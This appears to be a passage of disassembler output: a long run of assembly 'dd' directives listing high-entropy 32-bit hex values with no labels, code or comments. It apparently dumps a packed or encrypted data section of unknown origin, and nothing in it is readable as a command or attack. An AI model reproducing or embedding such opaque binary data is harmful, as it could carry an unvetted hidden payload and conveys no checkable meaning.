		dd 8D895109h, 82E6DAC9h, 0AA25FDC9h, 0C2E58496h, 0A0795031h
		dd 8E4E7A00h, 429371h, 0C83402EAh, 1AE5B0B5h, 3DA21B1Fh
		dd 0DE8B9644h, 17ACCFADh, 4076388Ch, 0DB80AA84h, 0C131AC08h
		dd 0FC1B589h, 0F869894Ah, 532D5B76h, 850102EEh,	9C552065h
		dd 5348447Dh, 49F45B62h, 0E92056E9h, 72D46D7Ch,	16E0F87h
		dd 0D4A91418h, 2D64475h, 3404D8BBh, 4BF0522Fh, 5D5F0640h
		dd 0D31256C6h, 0C111B2D9h, 34B1BD23h, 8BD54D12h, 716D73A6h
		dd 804E78CBh, 0ABB0DB52h, 0C00600A8h, 0FCC17082h, 817D2F14h
		dd 3409DC03h, 0E48B5F26h, 0CCB820B9h, 0C7822100h, 0E0191F69h
		dd 5CB1958Bh, 0F0620BBh, 39018332h, 3F3254FCh, 0AD507F9Dh
		dd 1AB7AC2h, 0FCF4BDDEh, 48107058h, 0FE2718F2h,	58853B25h
		dd 0E1CC96C2h, 44964FB5h, 0BB47F013h, 0BD1EF09h, 0E7A17F7Ah
		dd 24719529h, 0BD100150h, 61021689h, 0F88B5150h, 5833AB55h
		dd 0BD2B17A8h, 26C4C9EDh, 40C6F229h, 298D01A1h,	0CB70B61h
		dd 81F89B69h, 1AE9345Fh, 71E781DEh, 2B3CBADCh, 0A2B41E71h
		dd 0A704BA05h, 1DAC31EFh, 0F82BE0A2h, 22567A01h, 0E4951988h
		dd 0BD5A0166h, 0D96520ADh, 8A0CB91h, 0EB004732h, 1EA7DCCEh
		dd 0E25FDD1Ch, 0BD024E6Ah, 1F21B82Ch, 27FED4B2h, 0BD8BA45Eh
		dd 90A0C025h, 0DEE85260h, 57B35Bh, 7024A8E9h, 1684BD3h
		dd 0DAAB4ACFh, 76149FF7h, 665E024Dh, 0D5D97CB9h, 2A90F691h
		dd 7834DDBh, 13760AE8h,	0F6CD0F01h, 6C6E07Eh, 0A0E95CC8h
		dd 7857D0Fh, 0FCAE5FA0h, 0CFF7B3DBh, 0DA597EBEh, 8C19B840h
		dd 0EBB86001h, 0E977D699h, 579C55DEh, 2D9121FFh, 0A4BCD6h
		dd 0D73A3D33h, 237C170Bh, 0A5453DB0h, 0B399302Ah, 51959098h
		dd 605087E9h, 110029BFh, 61CE8B6Ch, 8DD5904Ah, 0F0B0B3A7h
		dd 9A9550F5h, 11CD578Ah, 521C85E0h, 458D00E7h, 0A12D6E57h
		dd 46EACB81h, 6D6D2625h, 601664B0h, 90EF7815h, 12FDFCAFh
		dd 0A9FF6A37h, 4BB844h,	59B4D8C7h, 19C1D730h, 20382B5Ch
		dd 70119014h, 0F5B58909h, 39DE2B15h, 47EC7881h,	0B36099F5h
		dd 62255Ch, 0D8DE4A77h,	318830FAh, 248D2585h, 8007A25Ah
		dd 70E652CFh, 0E49BE350h, 95091771h, 0ED925239h, 0DFBF84CBh
		dd 72205B9h, 0A1905D9Fh, 0B977EB3h, 25B78407h, 23AC61ABh
		dd 73BD2F9Dh, 0BA09C117h, 0D3A8EC24h, 0C43A6037h, 80B9AD01h
		dd 0C4500B42h, 8FC800DEh, 0B9FF2F15h, 44258706h, 0F4E16AC5h
		dd 0D1A940DFh, 1B1D38D2h, 0FA472B88h, 0C8501CBCh, 4C93FBBh
		dd 0D18B7D86h, 84CFADFCh, 95210A61h, 5060011Ah,	2B0EC23Bh
		dd 0BE6D000Bh, 9561169Fh, 4060D785h, 7435AE3Dh,	3C07648Ch
		dd 0A1057717h, 4AF38AE3h, 0CC89CC2Fh, 7B43D839h, 5B082400h
		dd 54AF8D81h, 7F72000Bh, 9871C5F5h, 0D04B3B96h,	8BC1FCFCh
		dd 0A746E9D9h, 0C921560Fh, 0E5BF5F07h, 1ACDEEB2h, 0C716B46Ch
		dd 0A30CB824h, 9D320B52h, 0AB615F2Dh, 0A5830112h, 0DDFE2042h
		dd 98DDBF29h, 25CF81DDh, 0DD6C8A28h, 32540820h,	0F550FA8Bh
		dd 4294B278h, 0C8E501F4h, 89D72DFCh, 0CCF46BB5h, 4A19EC09h
		dd 8729BE12h, 8141DA2Fh, 788B991h, 8C929E3Ah, 5A919E15h
		dd 0A21FE61Ah, 0F0A83118h, 115B80DCh, 858856FDh, 88C47549h
		dd 206EFC5Eh, 8825C939h, 2B431075h, 47CBB6C0h, 0DEDD50F7h
		dd 9F0020A7h, 5A181787h, 12F0CE77h, 9DC1C0Fh, 3FD5F8ADh
		dd 9C159136h, 8D319281h, 9E6A19C9h, 698883F1h, 508C80AAh
		dd 52F7009Fh, 0E381515Bh, 1812F9ABh, 0DCB25F4Dh, 0E1BD0B04h
		dd 0F477AB25h, 74ABD864h, 0A9A2ADEBh, 21F49C4h,	0E5A53539h
		dd 0B8404C3Dh, 65955FF5h, 8039DAE1h, 0BFB8F495h, 51F09009h
		dd 76DE0989h, 0DCF52E76h, 0F1068B0Eh, 65A5BF45h, 0A76B13C9h
		dd 0FA8001F6h, 7218B42h, 39334CCh, 7DF66AD7h, 0D0989EB8h
		dd 2AED6509h, 2AC0D1DFh, 1378291Eh, 71239DF0h, 8CD42540h
		dd 76EDE192h, 0D225F3B8h, 9C76572h, 9E5504F6h, 0E103752Ah
		dd 0F019A63Eh, 0F40A92A0h, 40EE94D7h, 54C1C5Fh,	0B010A80Eh
		dd 0E4F5E0B6h, 86CF2B1h, 0ED8028B7h, 0DBC5217h,	0D673A080h
		dd 41E68B99h, 82FB5901h, 96BA1429h, 40C97460h, 5B4A5F07h
		dd 6B34F5CAh, 0B820EEE1h, 6650DDh, 2D8FD053h, 8E07AEB8h
		dd 2F4BE804h, 0E5AC39D5h, 0A2EBF708h, 50DC09A5h, 1FD3B5C5h
		dd 0B9C570h, 0E83AC46Ch, 3C98E737h, 5BBB6609h, 2FCA5A31h
		dd 5FCF012Fh, 8B9B9340h, 3FC73AF8h, 0FC038793h,	13D8F20h
		dd 0ADEE1945h, 0EC28E8h, 29622717h, 52A6F8B4h, 0D9D3B92Dh
		dd 1223A495h, 0DA8C57FDh, 0C215C858h, 0E1D7B427h, 300103Bh
		dd 2E4E31BDh, 0ADB462A8h, 25DDA873h, 65D4513Fh,	0A8D48F49h
		dd 0B45F1629h, 0C40794Dh, 0AA544C68h, 17F44028h, 302AC5BEh
		dd 0E7900CCEh, 0B6F7DB00h, 0B2C3AB99h, 215004EEh, 0B861249Eh
		dd 0C0167C37h, 30304097h, 0AA25D2h, 0E6DCBF94h,	0E59D9195h
		dd 47D5A506h, 0F2969C84h, 0F7244FA9h, 4AFD4CC9h, 0A9CC12BAh
		dd 8C19ACC4h, 0D02B1600h, 0E9D1AB17h, 0E4025E79h, 0F4ADD71h
		dd 0B9B45BACh, 71A9A851h, 40A11F38h, 52A89305h,	0D236E84Dh
		dd 6AEE89FEh, 16C8A49Ah, 9E3FA4C1h, 0ADEC842Fh,	306F5B34h
		dd 46CE9517h, 0A84E5F6h, 7745D713h, 23656BAAh, 9B813B1Ch
		dd 94718982h, 71B4D59Ch, 0A1EC2A6Ch, 0DD65DCA0h, 0F36FCA05h
		dd 24B60689h, 88F8ECE3h, 0FB16E60Ah, 5830EE31h,	0BDC236h
		dd 907BF05h, 0DBC794F2h, 0F0C1703h, 246D7BF8h, 4BEC23F2h
		dd 6080073Dh, 0A78ECC45h, 6E481590h, 0E012AE38h, 0BCAA33AEh
		dd 713CFE88h, 20E96CE2h, 6D09CECAh, 70EF131Ah, 226D9D65h
		dd 0B3509FC0h, 1288BCBFh, 31F40B53h, 2E5B1DE1h,	82FE4435h
		dd 1C5D166Bh, 5250280Dh, 0A1E29C02h, 438C2504h,	1E3500Eh
		dd 4BEB5FD9h, 0F3A88895h, 0D3B2E600h, 3A16280Dh, 0BB380372h
		dd 8E909DCAh, 0B3B33240h, 0EFA4C676h, 0ED93BF02h, 46586B7Fh
		dd 3B560113h, 68088B0Bh, 8E252E62h, 0C34EDBFAh,	0B0413C6Eh
		dd 258D0EF0h, 8DC390F8h, 246EAEA4h, 0C4B8B300h,	4131A406h
		dd 6BF0625Ah, 0C0759C05h, 68DEE47Ch, 0A395E812h, 9C8A6E0h
		dd 67A03D31h, 86D66674h, 86CD3E43h, 39321280h, 66FC0842h
		dd 1AD4BF09h, 0A5A0B761h, 8F143858h, 4AFA3D1Ah,	8009D6CBh
		dd 0F2590CF7h, 12213646h, 457D9D03h, 0A746E936h, 1FCB419h
		dd 0FF252983h, 0E760ACAAh, 1D97081Dh, 20EDF2F6h, 0EC647C40h
		dd 0F52F2593h, 0D911D8C5h, 2F86017h, 61BEA6A5h,	0C525CB96h
		dd 0F49DDC03h, 99E18809h, 892753BCh, 0B6730B39h, 0FE120CA4h
		dd 707DB3E1h, 0C64847ECh, 0A9CC4AE9h, 95D85E8Bh, 0BDFFF4A8h
		dd 92F9AC97h, 0BD89BDC5h, 1759805Bh, 0D7484918h, 0F4B14B11h
		dd 2701B9C4h, 8DC1D85h,	97815849h, 54011ADBh, 0A1049C96h
		dd 10D5D4h, 812647C7h, 0A862F4B2h, 2A8D5755h, 0E8C095DEh
		dd 1EA98DA3h, 63366E00h, 96EABB6Ah, 8D7B4B0Fh, 80996C99h
		dd 64A3F1BCh, 87D50165h, 0E9F88AEDh, 9A61006h, 0BE271263h
		dd 0B147129Eh, 0C0DE7AB1h, 73B2C680h, 6302F6E8h, 0CDBD2BAAh
		dd 13510531h, 9EC5AAD2h, 29E929AAh, 9871A8E8h, 40D89FFAh
		dd 0D6EC8B95h, 2B0BDC1Fh, 788BF315h, 0BB1940A6h, 0DBD1A509h
		dd 95F27076h, 0F800C864h, 91ECE253h, 9495796h, 68B9399Bh
		dd 7CAFFD71h, 5FB3626Dh
		dd 737EBA55h, 88CD7003h, 0D2F13D02h, 558B4198h,	14915EB5h
		dd 0BBF43089h, 0AF19F16Bh, 5DBF9718h, 71847B00h, 9DBB5096h
		dd 0EF3AF467h, 60F0AF26h, 0BE4A071Eh, 16B2BDA6h, 12FF9530h
		dd 0E3D88A8Fh, 103F4CF3h, 0CA4A2CADh, 2D3422F1h, 3EF633B3h
		dd 0BB4BF50h, 611C382Eh, 73A31674h, 23C6DD58h, 29072FB9h
		dd 553955BDh, 0E5BBE896h, 974D850h, 182D9D33h, 50BF7C94h
		dd 95247CCAh, 1971E65Bh, 0DC003118h, 88306410h,	2527F9BBh
		dd 62625187h, 3E511B5Ch, 0F4247CC2h, 0A03CD62Eh, 60FA8D12h
		dd 80930ABAh, 41D9DF4Bh, 40E53120h, 2FC5C60Ch, 3DABD98Bh
		dd 0A84A3D71h, 0CA6013Ah, 1252496Ch, 8D29FCA5h,	4C272520h
		dd 0C0DFB560h, 6779F64Eh, 3E00140Dh, 0BA662B9Eh, 0C05A13D9h
		dd 0EDBFF2C6h, 0B14AE961h, 82D61B1h, 20BD6B8h, 0CDC18BE8h
		dd 0BBA6C06Eh, 6425AA42h, 12B27D48h, 0B4B55Fh, 2F2DA4B2h
		dd 6809E787h, 7F0D978Bh, 2FE3CA4h, 0DFCBB560h, 2678E0CAh
		dd 33209048h, 9DF574DBh, 0ECBDB8E9h, 0B1014879h, 88F2D5EEh
		dd 8F100EE9h, 93045A2Ch, 1CD3F37Dh, 8BEACDEAh, 0DDF22EF6h
		dd 1661B022h, 0D5C08302h, 0F3BB1910h, 5010931Ch, 6D81F469h
		dd 0BE944B4Fh, 0AC29D0D7h, 9C0B8BFh, 905B0B5Dh,	0D7A518B7h
		dd 0AD01CC09h, 8026BBB4h, 78D78148h, 0D7189128h, 800E9B10h
		dd 17A9EBFh, 7BEC096Ch,	4DD58AE1h, 0C9F34994h, 0E4CE8038h
		dd 395576D0h, 879A9723h, 0A504AAFEh, 0C8BE6153h, 1700490Bh
		dd 0F615A49Ah, 3C945E96h, 2385B443h, 137684D1h,	5FD5E4C4h
		dd 0BFA58197h, 282F7A04h, 0FB979EA4h, 8A3D8DBh,	6D5CE9B8h
		dd 83028A40h, 6EAF00DEh, 458B06B5h, 891281C5h, 4DD4399Dh
		dd 0BD8AA9B4h, 5B53B260h, 8962AD9Ch, 0E25B5704h, 0ABC05F72h
		dd 61B509F1h, 0C104221Dh, 518D9E2h, 7CE66312h, 80525600h
		dd 5B5F69EFh, 56D3E927h, 21387158h, 0E4DB3A8Dh,	5B00CEC9h
		dd 5C6FFA9Eh, 905A9997h, 120B765h, 0B083A1F1h, 0DE898BDEh
		dd 71FB698Fh, 804B592Dh, 9CCD2D42h, 391C4045h, 0E2A843A0h
		dd 0D9C67D05h, 6FAB65BCh, 0F92303CAh, 8AD9B7BFh, 0CA9A5E4Fh
		dd 9DA30943h, 568079h, 0EBBF795Eh, 57223AE6h, 90F33527h
		dd 71D9087Ah, 4D75121Eh, 5B86F243h, 0E6C082DBh,	9074F952h
		dd 635E5F04h, 1192FF6Ah, 40751220h, 8032E904h, 401EE381h
		dd 0EC256674h, 893D453Ah, 102A7540h, 81164D37h,	37EC2FB0h
		dd 1B3F4780h, 17018251h, 0A305696Dh, 0C96A5F98h, 0DE7C89E7h
		dd 32448409h, 84B32AEh,	1AEF129h, 28A29CB4h, 0D0A27F45h
		dd 0BEC6C8C2h, 5316555Eh, 34D5CF04h, 4A4DE6BBh,	7781A3ACh
		dd 401B93F8h, 0F2D45692h, 0FAC1A5B0h, 5EEE4E2Dh, 30801C7Ch
		dd 0A14A4DB2h, 7DD36207h, 920FAB3h, 9F8E436h, 0A5A2F3F6h
		dd 0B513405Fh, 0A8115A2Dh, 4082C84Bh, 22319589h, 0BD233B84h
		dd 0B04ACB5Dh, 0A997B532h, 413F4B2h, 0EFE91AD3h, 319CCA67h
		dd 32A13585h, 1989EE0Dh, 0B760062Eh, 59950AFCh,	5EAF80ACh
		dd 1E142DB3h, 32E1930Eh, 49EAF666h, 4A7A5F81h, 0D7701A5Bh
		dd 0FEE0C68h, 56FCBB8Ah, 3519398Dh, 0D17E8D92h,	0BD2A8B19h
		dd 35BF0220h, 5E090F29h, 561C4451h, 0A5D4D01Eh,	0B7FE0A16h
		dd 6A20906Bh, 0D52D6990h, 422D7128h, 0CA0A5D84h, 0FC7C7009h
		dd 4D0710CFh, 94EB0298h, 5E2CA152h, 0BEB96423h,	96F25E1h
		dd 0B5D516D4h, 80181119h, 5E48E020h, 43F7B416h,	7EB8E2FEh
		dd 0EC00ADF1h, 6C88C62Ah, 4EFFB6A5h, 0CE6EBB26h, 0CA603B05h
		dd 2220AFB4h, 13DB770Dh, 89532627h, 15B82A4Dh, 0C1C2DF87h
		dd 3AECCA48h, 6E6E56B1h, 8D1F0078h, 2B5E176Dh, 78297158h
		dd 13639195h, 0FE816D2h, 81E3F6E4h, 55D8C9D9h, 0B6976173h
		dd 0D47E9624h, 679CE701h, 14697A36h, 404F7ECEh,	786099FDh
		dd 18E01001h, 9CD20DADh, 1965E4h, 480A62CEh, 0FC8A75E8h
		dd 579D66C9h, 391EDF2Ah, 437315ADh, 79D9CE32h, 4ECDA84Fh
		dd 0B962C435h, 0F5A6D320h, 759A3EA0h, 0E31BA10Bh, 987E59EFh
		dd 5FFE7C56h, 0F4307195h, 0F7E5205h, 7709088Eh,	7455EA82h
		dd 1BD0509h, 0E938AB27h, 0F60EB498h, 2E070E00h,	0C9C01385h
		dd 9E6BE1B8h, 0B9A5C010h, 7753BB8Ch, 5B442D80h,	1559E75Bh
		dd 0B704D518h, 316D9D01h, 65465EEFh, 1901A0D4h,	0E1FF61ABh
		dd 0E1138FE8h, 18BA987Ah, 33C9DC01h, 0CFFE2130h, 12957BC0h
		dd 0F2BDB954h, 8F3F883Ah, 33CF8509h, 0C077F8B7h, 0E83E56BFh
		dd 587D1Bh, 94919A12h, 96978E7Ch, 0CB4D0D09h, 44577963h
		dd 259EAB2Fh, 0BF2D6C0h, 0EA255320h, 1D24E549h,	86EF25CAh
		dd 1B8BEC40h, 0AB5050DDh, 0C1DF4BBFh, 0EC75BB2Dh, 8F973018h
		dd 4A09F62Fh, 1DD502C6h, 0BD610427h, 97692211h,	26E08E13h
		dd 1A00C8E3h, 31C79AA0h, 258C6902h, 2CDC934Bh, 7D259962h
		dd 7F4079CFh, 95E4FBAh,	8CF38853h, 0C740ABFEh, 918AB40h
		dd 0DB1F5B8Eh, 0F619182h, 0D8EA5F04h, 1A88135Ah, 0B53239D6h
		dd 0FA1BD200h, 9AFB914Bh, 1F041CE0h, 0E0E2FF92h, 8A138CFFh
		dd 8076D500h, 0ACA70A2Bh, 0DF26137Dh, 654FBE2h,	90FEC4E2h
		dd 5FB823BDh, 0D2A30A2Fh, 8618970Ch, 6120BD31h,	0C6680007h
		dd 0BB197882h, 0EC25C183h, 390AE148h, 0D5F267D1h, 5800CBB7h
		dd 0B5AFD4E9h, 0FD9B0B8Dh, 838092DDh, 5386F3CFh, 0DB963A95h
		dd 601A519Eh, 751F9E95h, 39C974CDh, 1A30D589h, 0A27E9F9h
		dd 0D0B27302h, 56712351h, 308A0F2Dh, 4E2FE660h,	99AD905Bh
		dd 9D2D29B9h, 61AEE179h, 0BD4B172Fh, 918EC1Ch, 88EEBABCh
		dd 173E3081h, 778E3039h, 740972C0h, 9550150Bh, 56493154h
		dd 0EDC96Bh, 54D275C0h,	0DEBA000Ch, 7BA00166h, 0A12DBD03h
		dd 0B00D7326h, 0B88DDFFEh, 0A7389B97h, 272A6593h, 1A90060Dh
		dd 0D100D925h, 0EABFF2E2h, 3EC56FDh, 0EBA836A5h, 500B1B69h
		dd 709ED2D7h, 0F6D949F4h, 0F8002491h, 51300317h, 89E0CD49h
		dd 0BBE3070Fh, 12FB0477h, 0B1DEC6AAh, 462E5F7Fh, 1CDE5504h
		dd 81834684h, 3E21F040h, 0A3FD2F96h, 5061FE0Bh,	7100201Eh
		dd 0EAE7A9C4h, 0E20835h, 2B580D03h, 0BF967982h,	0C6096778h
		dd 0C9880F1Eh, 206F5388h, 52A1DA7Eh, 2D3CFA01h,	968C1E17h
		dd 0C001642Fh, 0F9345063h, 0A4046800h, 0DCBB382Fh, 9216F8FEh
		dd 0A7FB1FE2h, 0A0DD2530h, 40265108h, 0C11A9707h, 235910FFh
		dd 6C1600F2h, 2048329Bh, 0DF006576h, 0D83D59ABh, 0BAA469AAh
		dd 9C6BB0A9h, 0DE1F2C78h, 917DB901h, 33BBDFB5h,	0EE7F7C50h
		dd 304B2C7Bh, 0DC7409A6h, 0B5E894D5h, 54435A6Dh, 9ED3A0F0h
		dd 0BB660256h, 615F6D05h, 7E7A895Ch, 0BC3EDC8Fh, 0C509F4DBh
		dd 59423532h, 311046DEh, 2DB8009h, 6B795C8Bh, 11AF04F7h
		dd 80EE83B8h, 9F2AF381h, 87185B89h, 0FCDBB454h,	4E85A05Ah
		dd 26F39504h, 5266E8D0h, 23CDA7F9h, 11F74157h, 93287F28h
		dd 196D65BDh, 0C954D260h, 997213C2h, 4AF56139h,	0B50830E6h
		dd 7C7215F1h, 79BFD462h, 0BD094B4Dh, 9EE725B0h,	8D8D2F4Bh
		dd 40793960h, 0F169608h, 0A5890E8Dh, 0F22E8A21h, 6093DF28h
		dd 0C700DCA2h, 938169C1h, 0BE00CB92h, 8099DD5Ah, 0D3D7F634h
		dd 575E0F44h, 0FDBA6680h, 96E261EDh, 7E407E9Ch,	0C436Ch
		dd 2A55C17Bh, 70D4DC15h, 1B2BA375h, 6093B5B7h, 8F00D7B2h
		dd 0C8E72702h, 86016EEEh, 1ECCB5ECh, 0EAF0CF5Bh, 2427AF5h
		dd 6381BAF1h, 0C15C0E55h
		dd 0F4C4DC49h, 18DAE20Bh, 17185D87h, 0B9020171h, 7536BE0h
		dd 56E8B2DDh, 98D86BAFh, 53969295h, 7EF871C6h, 2BE98BC1h
		dd 8356716Eh, 0B56F6AC2h, 0C158D302h, 0C4755214h, 8D539D35h
		dd 0F320500Bh, 0C8227082h, 7A254372h, 698C10Bh,	84E60405h
		dd 806BAE4Ah, 0DD271D23h, 0BA48E810h, 70FE622Fh, 12941B0h
		dd 2B0CD199h, 0B02F8E9Dh, 768624A6h, 3EFB9FBFh,	529BDCADh
		dd 5D612F4Dh, 51FA0FE3h, 558D048Fh, 0B3960228h,	0BFB2E319h
		dd 65DB746Bh, 1672C229h, 6DB5C20Eh, 0D637D50Ch,	0F4821691h
		dd 35D5DD38h, 801991C7h, 0ABF9B3EAh, 0CD3F5EE3h, 0A2282B42h
		dd 0F682BC37h, 664D9600h, 79CB1376h, 992326A2h,	11B60747h
		dd 59614357h, 0F127AE94h, 60282D14h, 0F451AC4h,	0D850102h
		dd 0F961CE49h, 0F319E189h, 0F08A101Eh, 9FB7C6A5h, 2F017AC4h
		dd 0DC20EE42h, 0CC701171h, 86258B02h, 6451ED5Bh, 0E0F36018h
		dd 0EA702525h, 0B59DC3CEh, 0AA3802F6h, 0B34041C9h, 8B90A3EAh
		dd 9E6A0D45h, 6C6A5F16h, 65554A00h, 35EC063Ch, 81FCFA00h
		dd 6A2B3DDFh, 2ED950Ah,	0D8601C64h, 2A024253h, 19FEE3DCh
		dd 6DDA8231h, 0EF4C7D0Dh, 17FEE8B7h, 485F022Ah,	24407AA7h
		dd 0F812F65Ch, 0E9D2F4E3h, 4C7A84Ah, 4DEBDC32h,	0CBA269h
		dd 0F314ABDh, 0F3F857h,	523AEFCh, 0E9FF7885h, 0D6E9547Ah
		dd 557205DBh, 80A595D1h, 8B43D90Ch, 202BB8C1h, 0BBFA2E3Dh
		dd 0C6C42625h, 25061D5h, 0C65F5B52h, 95192477h,	2ED4C9BAh
		dd 77F0E9E6h, 4A00E052h, 25A57566h, 269D0363h, 64AD225Dh
		dd 72A7AA83h, 94F4A227h, 263D87C0h, 183C701Fh, 0C088406Eh
		dd 0FE4B0206h, 0E6F04CE6h, 730B72B7h, 7FC08328h, 50BF7B37h
		dd 322DDBB6h, 60555E7Ch, 99D50F1Fh, 95360800h, 0CC68D261h
		dd 4D100A3h, 0F27D6044h, 8E982AE0h, 0E023D697h,	7E746F35h
		dd 96FED61Ch, 7283E49h,	0A042D792h, 57D392D8h, 422B2D90h
		dd 64E49200h, 0F3BD38D4h, 4B95EC93h, 5B78E0C7h,	418BCF9Fh
		dd 7FDBB795h, 0FF19F009h, 2CC16230h, 92484412h,	6513F1BDh
		dd 9F8AEA13h, 0ACB4AE46h, 280910E3h, 5527744Ch,	69524F5Ch
		dd 2C91D1C4h, 0F2CA4A41h, 0D37C8427h, 0FAB5D5E2h, 0C5C33187h
		dd 42E7540h, 4D029709h,	0DF25C006h, 0F54BB06Bh,	0D5042FE5h
		dd 2FB26EBFh, 4B9AD40Bh, 0EDB53614h, 7FBF4067h,	1F094BF8h
		dd 5E6FE9CBh, 2510713Ah, 76E3AABh, 11BF05Eh, 97600A40h
		dd 0CB4E00FCh, 61C07C87h, 39613555h, 628BB877h,	41094498h
		dd 0DAB03078h, 7B1FD925h, 5D76BE6Eh, 501490B5h,	0CDBCA66h
		dd 0D6D0B8DCh, 5D46FAFh, 60A39A34h, 71BD07CCh, 3C3D0915h
		dd 905D45BEh, 36FC57Bh,	8FDB9FC4h, 5A16E08Eh, 0A1827185h
		dd 40EEFC61h, 8A3715C7h, 4C015A00h, 8FA9DC78h, 520C03ECh
		dd 2CC65677h, 25989A4Bh, 7DF72580h, 0DC97F7C6h,	6AFA63DFh
		dd 9B5A8FCh, 595EC8B7h,	1ED400CFh, 25BC19D3h, 874545Ch
		dd 122409B5h, 22E1E6FCh, 16B07013h, 2469BD03h, 47878030h
		dd 7027E6ADh, 27690457h, 71E45B01h, 0FBF77B60h,	0BA4EF839h
		dd 71B2B552h, 0C32B8118h, 79BCC8B6h, 0D8CE2F40h, 78F212E5h
		dd 60060012h, 8490737Ah, 18E28701h, 6BA623Fh, 298B72Ah
		dd 0ADEA0FAEh, 7F8CC217h, 0C7E4F48Bh, 10E99510h, 0F0EFD5Bh
		dd 9F31B3B7h, 0CCFB1452h, 124469D2h, 5404B7C8h,	244887D1h
		dd 83B4B882h, 0F908C781h, 190174E6h, 55D91204h,	0FDB5D168h
		dd 4BB30CF3h, 2EA192F0h, 5786C92Eh, 1400AA14h, 605376A6h
		dd 2489DB2h, 38B7D775h,	1C8244E9h, 0F9290C8Bh, 0E11AA5CFh
		dd 2722715Dh, 0B356C3C2h, 664F2044h, 0D5BD4787h, 0FE160CA5h
		dd 44FB59F0h, 336D02D6h, 6555A19Dh, 680784E4h, 0BC0CFDFDh
		dd 0EA91F877h, 9FC209B8h, 985F7A09h, 2C1D8h, 0EB270659h
		dd 73E2FEEh, 0BBB29E00h, 0B44E4084h, 4DA64CA7h,	0F2223D17h
		dd 0C1005065h, 0E2FF1645h, 1AB8572Eh, 0D124BD0Bh, 0E3406F31h
		dd 38B9E790h, 0A95E0823h, 24A1BC27h, 2962C0Eh, 7472D55Ah
		dd 9231205Eh, 7907256Dh, 0A071E9FBh, 0EBF81AFDh, 107F1948h
		dd 6585DC5Ch, 4B722D9Eh, 2D676EFEh, 62F77C69h, 8DDD22Bh
		dd 6E4A913Dh, 0A6D86725h, 90482901h, 8D018282h,	0F5CDA50Dh
		dd 0C0039FEAh, 9BE2309Eh, 0A65E2418h, 4F51313h,	0F7081544h
		dd 0B8F05D8Eh, 58AD0425h, 0B8E30CCBh, 8501C5E3h, 0AB65D4BAh
		dd 1DC8E12Eh, 0BF685BC0h, 9F37F40h, 0CFED4A21h,	0DA473376h
		dd 6132EEB2h, 0ADF4C16Dh, 0B19D542Ah, 0C61C9712h, 0C26B2545h
		dd 33070B85h, 39D9B567h, 352EF81Ah, 3C2C1A8Dh, 0FB0B1E44h
		dd 558AE1FFh, 269B716h,	76EDDD0Ah, 2CAE9BC4h, 450F3A9h
		dd 3AF3995Ch, 0AA8D26B3h, 74A63F26h, 742BEAF0h,	36BE60E6h
		dd 77F618DCh, 0C66F569Ah, 612D9A98h, 5820093Bh,	29CD975Bh
		dd 0F1E087C7h, 1283019Bh, 0BEC79DABh, 5EA555C9h, 7B318261h
		dd 8C6A78E1h, 1416A58h,	290DF201h, 0C84C9B2Bh, 0FD22C01Ah
		dd 0EBFAB15Eh, 1CADD54Eh, 8C1AACh, 0D8C67AA5h, 0FC64746Dh
		dd 7B75017h, 236FDE53h,	0B6DB4800h, 736BC0E5h, 0CA42330Bh
		dd 0BCFA7656h, 0DAF22041h, 4C03A05Ch, 0DF9B4A13h, 269395C0h
		dd 2E13DB68h, 0A0E2CE51h, 52A9E900h, 0A05B7932h, 0DF83551Dh
		dd 6E500E8Fh, 0EBF262BBh, 63B4F105h, 0FE71815Bh, 49CDD53Eh
		dd 1F11BC69h, 0C1103851h, 7CB0FF3h, 73742A30h, 4BC23BDAh
		dd 0D05453F9h, 10866E25h, 0D386E9DEh, 87A831ADh, 2062FC0Bh
		dd 0F3E798C0h, 0DCF41314h, 21000485h, 0C92DAE1Fh, 29C2AD5Ah
		dd 46552A12h, 0A9BF04A0h, 0B84AE2E3h, 0E7B4F71h, 8A597E00h
		dd 0BB616ACh, 0F67D9D2Dh, 0B8DF449Ch, 0F056CB70h, 0DF9B748h
		dd 96A03549h, 2DDDA867h, 2083F806h, 5F4919FDh, 8C1CB8FCh
		dd 0FE7DB400h, 0A1232AF3h, 6CC05CB9h, 22B1127Dh, 3A80E102h
		dd 0CE8216DBh, 0ED70CFAFh, 0C3BD124Ah, 86E397h,	58A47F9Bh
		dd 0B86096B8h, 0B9054433h, 0BBB0110Bh, 0C44415h, 90B6CCEDh
		dd 0F29EC761h, 0A3FA4302h, 0F5A77E27h, 0A456CD60h, 963CEA13h
		dd 0DFE00FA6h, 0EA022164h, 3A15C0EFh, 2565E7Fh,	0B5FF3431h
		dd 147BFD7h, 0D21D2F63h, 0A238D44Ch, 69CE7995h,	57500083h
		dd 6789BFA8h, 4DDE5B79h, 6080FA03h, 53AECC40h, 8F4B04D6h
		dd 0E3D4AAABh, 0B875F3B2h, 9420E41Dh, 6BEB8780h, 0B5D7A9A1h
		dd 811D116Bh, 0FE3BFBA0h, 0C4F44681h, 3B8B4C82h, 27900388h
		dd 125739B3h, 60297663h, 6B1BA9B0h, 0A7AC0C4Bh,	2E905BB1h
		dd 5684AEDBh, 4A86CA98h, 73D6AAFh, 0FE7A6D2Eh, 0D4E8E174h
		dd 22DDD30Dh, 383532E2h, 1789BC61h, 61AE2565h, 0C48510ABh
		dd 4D1231F8h, 13F3CC47h, 80C6DAD6h, 13672F8Dh, 6D1214AAh
		dd 2412FD76h, 0EC12EAB2h, 0C8D73B2h, 8FD86A3Fh,	87E57DBDh
		dd 599A937Eh, 49202EE7h, 9786D175h, 346068DCh, 90671E40h
		dd 51BD1597h, 0D22E316h, 1747AE00h, 2CE024D8h, 0B3770455h
		dd 0BCBF2DF4h, 478A152h, 0A08EA73Bh, 0FEB96D67h, 4614F6Ch
		dd 0B1919D47h, 0C0A62A77h, 0B9E2AD92h, 5F46BC3Bh, 43BF6830h
		dd 74B42547h, 5BE9AA56h, 3369500Bh, 0F1AFD006h,	27CA538Ch
		dd 515627A1h, 3E8D2950h, 0B8CE2AFDh, 0B13CAB07h, 85CE3200h
		dd 8DD781F3h, 77C40D00h, 0FE54BF50h, 0C5094A22h, 0C0609B23h
		dd 39D8320Bh, 556595C8h, 4CC7EC50h, 3412ED23h, 4F5FF396h
		dd 450FBF05h, 12169566h
		dd 0F376AAF3h, 0E3047A3Ch, 4B878D5Ah, 0BB9740BCh, 94053C7Ah
		dd 0FCDC25B4h, 7899806Eh, 0FAFE0463h, 2A6C1397h, 5BD10C46h
		dd 0F84A8EBCh, 15B2DCE6h, 130EB330h, 978E780h, 7678FB61h
		dd 1F78FCB3h, 0ACA7176h, 25B8FA96h, 205001C4h, 25399D2Bh
		dd 82A62AEFh, 153017B2h, 4F0C12D7h, 6D39F1F9h, 3494EC3Ch
